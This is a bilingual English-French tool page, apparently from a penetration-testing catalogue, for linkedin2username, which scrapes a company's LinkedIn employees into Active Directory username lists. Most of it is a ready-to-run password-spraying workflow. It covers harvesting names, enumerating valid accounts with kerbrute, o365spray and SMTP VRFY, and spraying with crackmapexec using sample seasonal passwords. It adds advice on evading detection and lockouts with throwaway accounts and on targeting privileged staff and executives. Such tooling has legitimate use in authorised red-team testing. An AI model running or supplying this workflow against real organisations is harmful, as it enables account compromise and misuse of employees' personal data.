linkedin2username
Génère des listes de noms d'utilisateur à partir des employés d'une entreprise sur LinkedIn. Utile pour le password spraying ciblé et le phishing : crée des noms d'utilisateur selon les conventions de nommage AD courantes. Generates username lists from LinkedIn company employees. Useful for targeted password spraying and phishing — creates usernames in common AD naming conventions.
↗ https://github.com/initstring/linkedin2usernameOverview
linkedin2username scrapes LinkedIn for employees at a target company and generates username lists in common Active Directory naming formats (firstname.lastname, f.lastname, flastname, etc.). The output is directly usable for password spraying, phishing target lists, or enumerating valid AD accounts.
Installation
git clone https://github.com/initstring/linkedin2username
cd linkedin2username
pip3 install -r requirements.txt
Basic Usage
Requires LinkedIn account credentials
python3 linkedin2username.py -u your@email.com -c "Target Company"
Specify output formats
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100
Limit results to first N employees
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50
Add a domain suffix to usernames
python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com
Username Formats Generated
# linkedin2username outputs multiple naming conventions:
# Given: John Smith
firstname.lastname → john.smith
f.lastname → j.smith
flastname → jsmith
firstnamelastname → johnsmith
lastname.firstname → smith.john
firstname → john
firstname_lastname → john_smith
# With domain suffix (-d):
john.smith@targetcorp.com
j.smith@targetcorp.com
Password Spraying Workflow
Step 1: Collect usernames
python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt
Step 2: Test if usernames exist (enumerate valid ones) Via OWA (Outlook Web Access):
o365spray --validate --userfile users.txt --domain acme.com
Via Kerbrute (AD):
kerbrute userenum --domain acme.com -dc DC01 users.txt
# Step 3: Password spray (be careful of lockout!)
# With just common passwords:
crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
crackmapexec smb DC01 -u users.txt -p 'Company@2024'
Against Office 365:
o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com
Avoiding Detection
# LinkedIn rate-limits scraping
# Add delays, don't scrape entire company at once
# Use separate LinkedIn account (throwaway)
# During spray:
# Check lockout threshold first (default: 5-10 failed attempts)
# Use crackmapexec --continue-on-success
# Spray once per day maximum (most policies reset after 30 min - 1 hour)
Verifying Usernames
Verify via SMTP user enumeration
smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com
# Via OWA timing-based enumeration
# o365spray validates without triggering lockout
Via Kerbrute (AS-REP check, no auth needed)
kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt
Tips
- Focus on specific departments (IT, Security, Finance) for higher-privilege accounts
- Try multiple username formats — AD naming conventions vary by organization
- CEO/Executive accounts often have their name as username (john.doe@company.com)
- Combine with cewl company website output for custom password lists
Help / Man page
linkedin2username.py [options]
-u EMAIL Your LinkedIn login email
-p PASS Your LinkedIn password (or prompted)
-c COMPANY Target company name (as shown on LinkedIn)
-n COUNT Max employees to scrape
-d DOMAIN Email domain to append (e.g., company.com)
-s Sleep delay between requests (default: 2)
-v Verbose output
Vue d’ensemble
linkedin2username scrape LinkedIn pour trouver les employés d’une entreprise cible et génère des listes de noms d’utilisateur selon les formats de nommage Active Directory courants (firstname.lastname, f.lastname, flastname, etc.). Le résultat est directement utilisable pour le password spraying, les listes de cibles de phishing, ou l’énumération de comptes AD valides.
Installation
git clone https://github.com/initstring/linkedin2username
cd linkedin2username
pip3 install -r requirements.txt
Utilisation de base
# Nécessite des identifiants de compte LinkedIn
python3 linkedin2username.py -u your@email.com -c "Target Company"
# Spécifier les formats de sortie
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100
# Limiter les résultats aux N premiers employés
python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50
# Ajouter un suffixe de domaine aux noms d'utilisateur
python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com
Formats de nom d’utilisateur générés
# linkedin2username génère plusieurs conventions de nommage :
# Exemple : John Smith
firstname.lastname → john.smith
f.lastname → j.smith
flastname → jsmith
firstnamelastname → johnsmith
lastname.firstname → smith.john
firstname → john
firstname_lastname → john_smith
# Avec suffixe de domaine (-d) :
john.smith@targetcorp.com
j.smith@targetcorp.com
Workflow de password spraying
# Étape 1 : collecter les noms d'utilisateur
python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt
# Étape 2 : tester si les noms d'utilisateur existent (énumérer les valides)
# Via OWA (Outlook Web Access) :
o365spray --validate --userfile users.txt --domain acme.com
# Via Kerbrute (AD) :
kerbrute userenum --domain acme.com -dc DC01 users.txt
# Étape 3 : password spray (attention au lockout !)
# Avec juste des mots de passe courants :
crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
crackmapexec smb DC01 -u users.txt -p 'Company@2024'
# Contre Office 365 :
o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com
Éviter la détection
# LinkedIn limite le débit du scraping
# Ajouter des délais, ne pas scraper toute l'entreprise d'un coup
# Utiliser un compte LinkedIn séparé (jetable)
# Pendant le spray :
# Vérifier d'abord le seuil de lockout (par défaut : 5 à 10 tentatives échouées)
# Utiliser crackmapexec --continue-on-success
# Sprayer une fois par jour maximum (la plupart des politiques se réinitialisent après 30 min à 1 heure)
Vérification des noms d’utilisateur
# Vérifier via l'énumération d'utilisateurs SMTP
smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com
# Via l'énumération temporelle OWA
# o365spray valide sans déclencher de lockout
# Via Kerbrute (vérification AS-REP, pas d'authentification nécessaire)
kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt
Conseils
- Se concentrer sur des départements spécifiques (IT, sécurité, finance) pour des comptes à privilèges plus élevés
- Essayer plusieurs formats de nom d’utilisateur : les conventions de nommage AD varient selon les organisations
- Les comptes CEO/exécutifs ont souvent leur nom complet comme identifiant (john.doe@company.com)
- Combiner avec la sortie de cewl sur le site web de l’entreprise pour des listes de mots de passe personnalisées
Aide / Page de manuel
linkedin2username.py [options]
-u EMAIL Your LinkedIn login email
-p PASS Your LinkedIn password (or prompted)
-c COMPANY Target company name (as shown on LinkedIn)
-n COUNT Max employees to scrape
-d DOMAIN Email domain to append (e.g., company.com)
-s Sleep delay between requests (default: 2)
-v Verbose output